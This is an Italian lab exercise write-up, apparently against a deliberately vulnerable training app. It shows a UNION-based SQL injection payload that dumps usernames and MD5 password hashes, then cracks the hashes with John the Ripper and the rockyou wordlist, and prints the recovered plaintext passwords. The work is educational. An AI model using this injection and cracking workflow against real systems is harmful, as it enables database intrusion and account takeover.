

PASSWORD CRACKING

1. Hash di password (MD5) recuperate tramite SQL injection e relativi nomi utenti

User ID:

ID: ' union select user, password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user, password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user, password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

2. Tecnica utilizzata

Per recuperare le password in chiaro utilizzerò la tecnica cosiddetta *password cracking a dizionario* ovvero si confrontano gli hash di password comuni presenti in una lista con quelli recuperati tramite SQL injection. Al fine di ottenere le password mi avvarrò di un tool per automatizzare la ricerca ovvero JohnTheRipper e come dizionario utilizzerò una wordlist già presente nella nostra macchina ovvero *rockyou.txt*.

3. Esecuzione dell'hash cracking

Prepariamo il file da analizzare con JohnTheRipper abbinando nomi utenti e password così da facilitare la lettura del risultato del cracking.

```
~/Documents/esercizi/hashtest1.txt - Mousepad
File Edit Search View Document Help
1 admin:5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb:e99a18c428cb38d5f260853678922e03
3 1337:8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo:0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy:5f4dcc3b5aa765d61d8327deb882cf99
6
```

Lo screenshot successivo mostra il risultato del cracking.

```
(kali@kali)-[/usr/share/wordlists]
$ john --wordlist=rockyou.txt --format=raw-md5 --verbosity=5 /home/kali/Documents/esercizi/hashtest1.txt
initUnicode(UNICODE, UTF-8/ISO-8859-1)
UTF-8 → UTF-8 → UTF-8
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Loaded 10 hashes with 1 different salts to test db from test vectors
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (admin)
abc123         (gordonb)
letmein        (pablo)
charley        (1337)
4g 0:00:00:00 DONE (2023-09-06 17:45) 44.44g/s 34133p/s 34133c/s 51200C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```